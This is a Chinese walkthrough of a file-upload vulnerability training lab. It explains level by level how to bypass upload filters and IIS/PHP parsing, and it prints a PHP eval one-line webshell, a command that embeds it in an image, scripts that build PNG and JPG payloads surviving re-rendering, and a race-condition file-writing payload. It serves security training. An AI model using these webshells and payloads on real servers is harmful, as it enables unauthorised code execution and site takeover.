1.Pass-01(前端驗證繞過)
上傳一個php文件,提示
用burp抓包發現並沒有發送數據包
判斷是前端驗證
上傳一個圖片馬
burp抓包,把文件名jpg改成php
用蟻劍連接成功
2.Pass-02(Content-Type方式繞過)
burp抓包,改請求頭中的Content-Type爲image/jpeg
連接成功
3.Pass-03(黑名單繞過)
burp抓包改後綴名爲php3或phtml,繞過黑名單過濾
4.Pass-04(.htaccess文件繞過)
先上傳.htaccess文件,將jpg格式當作php解析
再上傳圖片馬
5.Pass-05(後綴大小寫繞過)
burp抓包,文件名後綴改爲phP上傳
6.Pass-06(文件後綴(空)繞過)
burp抓包,在文件後綴名最後面添加一個空格
7.Pass-07(文件後綴(點)繞過)
burp抓包,在文件名後綴最後面添加一個”.”
Windows特性,會自動去掉文件名最後面的”.”
8.Pass-08(::$DATA(Windows文件流繞過))
Burp抓包,在文件後綴名後面添加”::$DATA”
Windows文件流特性,會自動刪去後面的”::$DATA”
9.Pass-09(構造文件後綴繞過)
Burp抓包,在文件後綴名後面添加”. .”(點空格點)
函數會先刪除掉”.”,再刪除掉” “,最終上傳的文件爲”s.php.”
Windows特性,會刪掉文件後綴名最後面的”.”
10.Pass-10(雙寫文件後綴繞過)
Burp抓包,該文件後綴名爲”.pphphp”
服務器過濾文件名時,會匹配並刪除”php”字段一次,最終兩端拼接再次構成”.php”
11.Pass-11(%00截斷繞過)
Burp抓包,發現文件路徑
在路徑後面添加”s.php%00”進行截斷,並把文件名改爲s.jpg
連接成功
12.Pass-12(%00截斷繞過(二))
Burp抓包,在數據包中的路徑參數後面添加s.php.
點擊Hex查看數據包的十六進制
把路徑中的最後一個”.”的十六進制”2e”改爲”00”
放包,上傳
13.Pass-13(圖片馬繞過)
製作圖片馬
先新建一個s.php:
<?php @eval($_REQUEST[‘1234’])?>再分別找s.jpg、s.png、s.gif三種後綴的正常文件
CMD下:
copy s.jpg /b + s.php /a s.jpg
製作一張jpg格式的圖片馬
直接上傳,結合文件包含漏洞進行利用
14.Pass-14(getimagesize圖片類型繞過)
getimagesize()函數:獲取圖像的大小尺寸信息,成功返回一個數組,失敗返回false併產生一條錯誤信息
服務器用getimagesize()函數對上傳文件進行判斷是否爲圖片格式,判斷了圖片大小、尺寸。並返回圖片類型和圖片高度和寬度信息
用圖片馬繞過
15.Pass-15(php_exif模塊圖片類型繞過)
php_exif判斷了圖像的類型,會讀取文件的第一個字節並檢查簽名
用圖片馬繞過
16.Pass-16(二次渲染繞過)
GIF:
找沒有二次渲染的部分
在沒有二次渲染部分插入一句話代碼
上傳
下載上傳成功的gif,打開看見一句話依舊存在
PNG:
png圖片繞過二次渲染比較麻煩,可以用腳本製作,也可以在png文件的PLTE數據塊寫入一句話,再重新計算並修改數據塊的CRC值
用腳本製作:
<?php
//用法:命令: php png.php 會生成一個可繞過二次渲染的png圖片
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);
$img = imagecreatetruecolor(32, 32);
for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}
imagepng($img,'./1.png');
?>
直接上傳,查看上傳成功的圖片,發現一句話還存在
JPG:
jpg繞過二次渲染需要多次嘗試,因爲並不是每個照片都有空間來插入一句話
用純白色的jpg圖片
先下載已經被渲染過的jpg,再用腳本生成一個帶一句話的jpg
<?php
/*
用法:下載二次渲染過的圖片,命名爲1.jpg
命令: php jpg.php 1.jpg
*/
$miniPayload = "<?=phpinfo();?>"; //插入代碼
if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
die('php-gd is not installed');
}
if(!isset($argv[1])) {
die('php jpg_payload.php <jpg_name.jpg>');
}
set_error_handler("custom_error_handler");
for($pad = 0; $pad < 1024; $pad++) {
$nullbytePayloadSize = $pad;
$dis = new DataInputStream($argv[1]);
$outStream = file_get_contents($argv[1]);
$extraBytes = 0;
$correctImage = TRUE;
if($dis->readShort() != 0xFFD8) {
die('Incorrect SOI marker');
}
while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
$marker = $dis->readByte();
$size = $dis->readShort() - 2;
$dis->skip($size);
if($marker === 0xDA) {
$startPos = $dis->seek();
$outStreamTmp =
substr($outStream, 0, $startPos) .
$miniPayload .
str_repeat("\0",$nullbytePayloadSize) .
substr($outStream, $startPos);
checkImage('_'.$argv[1], $outStreamTmp, TRUE);
if($extraBytes !== 0) {
while((!$dis->eof())) {
if($dis->readByte() === 0xFF) {
if($dis->readByte !== 0x00) {
break;
}
}
}
$stopPos = $dis->seek() - 2;
$imageStreamSize = $stopPos - $startPos;
$outStream =
substr($outStream, 0, $startPos) .
$miniPayload .
substr(
str_repeat("\0",$nullbytePayloadSize).
substr($outStream, $startPos, $imageStreamSize),
0,
$nullbytePayloadSize+$imageStreamSize-$extraBytes) .
substr($outStream, $stopPos);
} elseif($correctImage) {
$outStream = $outStreamTmp;
} else {
break;
}
if(checkImage('payload_'.$argv[1], $outStream)) {
die('Success!');
} else {
break;
}
}
}
}
unlink('payload_'.$argv[1]);
die('Something\'s wrong');
function checkImage($filename, $data, $unlink = FALSE) {
global $correctImage;
file_put_contents($filename, $data);
$correctImage = TRUE;
imagecreatefromjpeg($filename);
if($unlink)
unlink($filename);
return $correctImage;
}
function custom_error_handler($errno, $errstr, $errfile, $errline) {
global $extraBytes, $correctImage;
$correctImage = FALSE;
if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
if(isset($m[1])) {
$extraBytes = (int)$m[1];
}
}
}
class DataInputStream {
private $binData;
private $order;
private $size;
public function __construct($filename, $order = false, $fromString = false) {
$this->binData = '';
$this->order = $order;
if(!$fromString) {
if(!file_exists($filename) || !is_file($filename))
die('File not exists ['.$filename.']');
$this->binData = file_get_contents($filename);
} else {
$this->binData = $filename;
}
$this->size = strlen($this->binData);
}
public function seek() {
return ($this->size - strlen($this->binData));
}
public function skip($skip) {
$this->binData = substr($this->binData, $skip);
}
public function readByte() {
if($this->eof()) {
die('End Of File');
}
$byte = substr($this->binData, 0, 1);
$this->binData = substr($this->binData, 1);
return ord($byte);
}
public function readShort() {
if(strlen($this->binData) < 2) {
die('End Of File');
}
$short = substr($this->binData, 0, 2);
$this->binData = substr($this->binData, 2);
if($this->order) {
$short = (ord($short[1]) << 8) + ord($short[0]);
} else {
$short = (ord($short[0]) << 8) + ord($short[1]);
}
return $short;
}
public function eof() {
return !$this->binData||(strlen($this->binData) === 0);
}
}
?>
上傳
17.Pass-17(條件競爭繞過)
先上傳一個php文件,顯示“只允許上傳.jpg|.png|.gif類型文件”
看源碼
顯示這句話說明應該已經滿足了”if(move_uploaded_file($temp_file, $upload_file))”,說明文件已經上傳成功,只不過沒有滿足過濾條件,所以提示這句話後用unlink()把上傳的文件刪除了
大致思路:用burp爆破模塊不斷上傳一個php文件,內容是生成一個新的一句話php到當前目錄,再用burp同時不斷訪問上傳的這個php文件,在服務器刪除上傳的php文件前先將其執行一遍,生成一個新的php。
先創建test.php:
<?php $txt = ‘<?php phpinfo(); ?>’;file_put_contents(‘su.php’,$txt)?>用burp爆破模塊不斷進行上傳
再用burp爆破模塊不斷訪問test.php
18.Pass-18(條件競爭(二)):
思路和17關一樣
19.Pass-19(move_uploaded_file()截斷):
利用了php5.4.38-5.6.6版本任意文件上傳漏洞,漏洞編號CVE-2015-2348
上傳一句話,用burp抓包
修改上傳文件名
在Hex中修改php後面的第一個”.”的十六進制爲”00”
放包,連接成功
20.Pass-20(IIS6.0解析漏洞(一))
用到了IIS6.0文件解析漏洞,會將cer格式的文件當作asp解析
看源碼,允許cer格式上傳
把asp一句話寫到gif文件中,上傳
用burp抓包,修改後綴名爲cer
連接成功
21.Pass-21(IIS6.0解析漏洞(二))
用到了IIS6.0後綴解析,當上傳的文件名爲”test.asp;.jpg”或”test.asp:.jpg”這種類型時,會把文件當作asp解析
看源碼,和上一關的區別是不允許cer格式上傳
同樣上傳asp一句話,用burp抓包
改文件後綴名爲
放包,上傳
連接成功
22.Pass-22(IIS6.0解析漏洞(三))
用到了IIS6.0目錄解析漏洞,當上傳文件所在目錄爲”xx.asp”這種類型時,會把該目錄下所有文件都當作asp解析
看源碼,只允許上傳jpg文件,所以上傳一個jpg圖片馬
用burp抓包,改文件名爲
放包,上傳
連接成功
23.Pass-23(解析漏洞(四))
用到了IIS7.0/7.5的CGI解析漏洞,訪問正常文件時,在url欄文件名後面加”/.php”會把這個文件當作php解析
上傳gif圖片馬並訪問該文件
在url欄文件名後面添加”/.php”
連接成功